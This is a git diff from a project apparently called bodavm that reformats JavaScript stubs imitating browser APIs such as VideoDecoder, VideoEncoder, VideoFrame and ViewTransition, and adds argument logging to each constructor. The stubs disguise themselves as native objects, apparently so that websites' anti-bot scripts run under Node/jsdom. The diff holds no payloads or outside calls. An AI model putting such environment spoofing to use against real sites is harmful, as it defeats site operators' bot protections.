+bodavm.toolsFunc.defineProperty('VideoColorSpace', "fullRange", { + configurable: true, + enumerable: true, + get: function fullRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "fullRange_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoColorSpace', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/VideoDecoder.js b/env_xbb_lastest_jsdom/env/VideoDecoder.js index 505134f7..afffea57 100644 --- a/env_xbb_lastest_jsdom/env/VideoDecoder.js +++ b/env_xbb_lastest_jsdom/env/VideoDecoder.js @@ -1,14 +1,93 @@ -// VideoDecoder对象 -bodavm.memory.globalobj['VideoDecoder'] = function VideoDecoder(){if (!(this instanceof VideoDecoder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoDecoder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoDecoder'], "VideoDecoder"); -bodavm.memory.globalobj['VideoDecoder'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['VideoDecoder'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('VideoDecoder', "isConfigSupported", {configurable:true, enumerable:true, writable:true, value:function isConfigSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].undefined, "VideoDecoder", "isConfigSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('VideoDecoder', "decodeQueueSize", {configurable:true, enumerable:true, get:function decodeQueueSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "decodeQueueSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "configure", {configurable:true, enumerable:true, writable:true, value:function configure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "configure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "decode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "ondequeue", {configurable:true, enumerable:true, get:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "ondequeue_get", arguments)}, set:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "ondequeue_set", arguments)}},'prototype'); +// VideoDecoder对象 + +bodavm.memory.globalobj['VideoDecoder'] = function VideoDecoder() { + console.log_copy('VideoDecoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VideoDecoder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoDecoder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoDecoder'], "VideoDecoder"); +bodavm.memory.globalobj['VideoDecoder'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['VideoDecoder'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('VideoDecoder', "isConfigSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isConfigSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].undefined, "VideoDecoder", "isConfigSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('VideoDecoder', "decodeQueueSize", { + configurable: true, + enumerable: true, + get: function decodeQueueSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "decodeQueueSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "configure", { + configurable: true, + enumerable: true, + writable: true, + value: function configure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "configure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "decode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "ondequeue", { + configurable: true, + enumerable: true, + get: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "ondequeue_get", arguments); + }, + set: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "ondequeue_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/VideoEncoder.js b/env_xbb_lastest_jsdom/env/VideoEncoder.js index 6cc2d48f..4f00238a 100644 --- a/env_xbb_lastest_jsdom/env/VideoEncoder.js +++ b/env_xbb_lastest_jsdom/env/VideoEncoder.js @@ -1,14 +1,93 @@ -// VideoEncoder对象 -bodavm.memory.globalobj['VideoEncoder'] = function VideoEncoder(){if (!(this instanceof VideoEncoder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoEncoder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoEncoder'], "VideoEncoder"); -bodavm.memory.globalobj['VideoEncoder'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['VideoEncoder'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('VideoEncoder', "isConfigSupported", {configurable:true, enumerable:true, writable:true, value:function isConfigSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].undefined, "VideoEncoder", "isConfigSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('VideoEncoder', "encodeQueueSize", {configurable:true, enumerable:true, get:function encodeQueueSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "encodeQueueSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "configure", {configurable:true, enumerable:true, writable:true, value:function configure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "configure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "encode", {configurable:true, enumerable:true, writable:true, value:function encode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "encode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "ondequeue", {configurable:true, enumerable:true, get:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "ondequeue_get", arguments)}, set:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "ondequeue_set", arguments)}},'prototype'); +// VideoEncoder对象 + +bodavm.memory.globalobj['VideoEncoder'] = function VideoEncoder() { + console.log_copy('VideoEncoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VideoEncoder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoEncoder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoEncoder'], "VideoEncoder"); +bodavm.memory.globalobj['VideoEncoder'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['VideoEncoder'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('VideoEncoder', "isConfigSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isConfigSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].undefined, "VideoEncoder", "isConfigSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('VideoEncoder', "encodeQueueSize", { + configurable: true, + enumerable: true, + get: function encodeQueueSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "encodeQueueSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "configure", { + configurable: true, + enumerable: true, + writable: true, + value: function configure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "configure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "encode", { + configurable: true, + enumerable: true, + writable: true, + value: function encode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "encode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "ondequeue", { + configurable: true, + enumerable: true, + get: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "ondequeue_get", arguments); + }, + set: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "ondequeue_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/VideoFrame.js b/env_xbb_lastest_jsdom/env/VideoFrame.js index 8b4da96d..58fe6bf5 100644 --- a/env_xbb_lastest_jsdom/env/VideoFrame.js +++ b/env_xbb_lastest_jsdom/env/VideoFrame.js @@ -1,17 +1,129 @@ -// VideoFrame对象 -bodavm.memory.globalobj['VideoFrame'] = function VideoFrame(){if (!(this instanceof VideoFrame)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoFrame': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoFrame'], "VideoFrame"); -bodavm.toolsFunc.defineProperty('VideoFrame', "format", {configurable:true, enumerable:true, get:function format (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "format_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "codedWidth", {configurable:true, enumerable:true, get:function codedWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "codedHeight", {configurable:true, enumerable:true, get:function codedHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "codedRect", {configurable:true, enumerable:true, get:function codedRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "visibleRect", {configurable:true, enumerable:true, get:function visibleRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "visibleRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "displayWidth", {configurable:true, enumerable:true, get:function displayWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "displayWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "displayHeight", {configurable:true, enumerable:true, get:function displayHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "displayHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "colorSpace", {configurable:true, enumerable:true, get:function colorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "colorSpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "allocationSize", {configurable:true, enumerable:true, writable:true, value:function allocationSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "allocationSize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "copyTo", {configurable:true, enumerable:true, writable:true, value:function copyTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "copyTo", arguments)}},'prototype'); +// VideoFrame对象 + +bodavm.memory.globalobj['VideoFrame'] = function VideoFrame() { + console.log_copy('VideoFrame 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VideoFrame)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoFrame': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoFrame'], "VideoFrame"); +bodavm.toolsFunc.defineProperty('VideoFrame', "format", { + configurable: true, + enumerable: true, + get: function format() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "format_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "codedWidth", { + configurable: true, + enumerable: true, + get: function codedWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "codedHeight", { + configurable: true, + enumerable: true, + get: function codedHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "codedRect", { + configurable: true, + enumerable: true, + get: function codedRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "visibleRect", { + configurable: true, + enumerable: true, + get: function visibleRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "visibleRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "displayWidth", { + configurable: true, + enumerable: true, + get: function displayWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "displayWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "displayHeight", { + configurable: true, + enumerable: true, + get: function displayHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "displayHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "colorSpace", { + configurable: true, + enumerable: true, + get: function colorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "colorSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "allocationSize", { + configurable: true, + enumerable: true, + writable: true, + value: function allocationSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "allocationSize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "copyTo", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "copyTo", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/VideoPlaybackQuality.js b/env_xbb_lastest_jsdom/env/VideoPlaybackQuality.js index 5cb1e005..3fe4bebc 100644 --- a/env_xbb_lastest_jsdom/env/VideoPlaybackQuality.js +++ b/env_xbb_lastest_jsdom/env/VideoPlaybackQuality.js @@ -1,7 +1,49 @@ -// VideoPlaybackQuality对象 -bodavm.memory.globalobj['VideoPlaybackQuality'] = function VideoPlaybackQuality(){if (!(this instanceof VideoPlaybackQuality)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoPlaybackQuality'], "VideoPlaybackQuality"); -bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "creationTime", {configurable:true, enumerable:true, get:function creationTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "creationTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "totalVideoFrames", {configurable:true, enumerable:true, get:function totalVideoFrames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "totalVideoFrames_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "droppedVideoFrames", {configurable:true, enumerable:true, get:function droppedVideoFrames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "droppedVideoFrames_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "corruptedVideoFrames", {configurable:true, enumerable:true, get:function corruptedVideoFrames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "corruptedVideoFrames_get", arguments)}, set:undefined},'prototype'); +// VideoPlaybackQuality对象 + +bodavm.memory.globalobj['VideoPlaybackQuality'] = function VideoPlaybackQuality() { + console.log_copy('VideoPlaybackQuality 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VideoPlaybackQuality)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoPlaybackQuality'], "VideoPlaybackQuality"); +bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "creationTime", { + configurable: true, + enumerable: true, + get: function creationTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "creationTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "totalVideoFrames", { + configurable: true, + enumerable: true, + get: function totalVideoFrames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "totalVideoFrames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "droppedVideoFrames", { + configurable: true, + enumerable: true, + get: function droppedVideoFrames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "droppedVideoFrames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "corruptedVideoFrames", { + configurable: true, + enumerable: true, + get: function corruptedVideoFrames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "corruptedVideoFrames_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ViewTransition.js b/env_xbb_lastest_jsdom/env/ViewTransition.js index d97e5309..5a1b2bab 100644 --- a/env_xbb_lastest_jsdom/env/ViewTransition.js +++ b/env_xbb_lastest_jsdom/env/ViewTransition.js @@ -1,7 +1,49 @@ -// ViewTransition对象 -bodavm.memory.globalobj['ViewTransition'] = function ViewTransition(){if (!(this instanceof ViewTransition)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ViewTransition'], "ViewTransition"); -bodavm.toolsFunc.defineProperty('ViewTransition', "finished", {configurable:true, enumerable:true, get:function finished (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "finished_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ViewTransition', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "ready_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ViewTransition', "updateCallbackDone", {configurable:true, enumerable:true, get:function updateCallbackDone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "updateCallbackDone_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ViewTransition', "skipTransition", {configurable:true, enumerable:true, writable:true, value:function skipTransition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "skipTransition", arguments)}},'prototype'); +// ViewTransition对象 + +bodavm.memory.globalobj['ViewTransition'] = function ViewTransition() { + console.log_copy('ViewTransition 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ViewTransition)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ViewTransition'], "ViewTransition"); +bodavm.toolsFunc.defineProperty('ViewTransition', "finished", { + configurable: true, + enumerable: true, + get: function finished() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "finished_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ViewTransition', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); 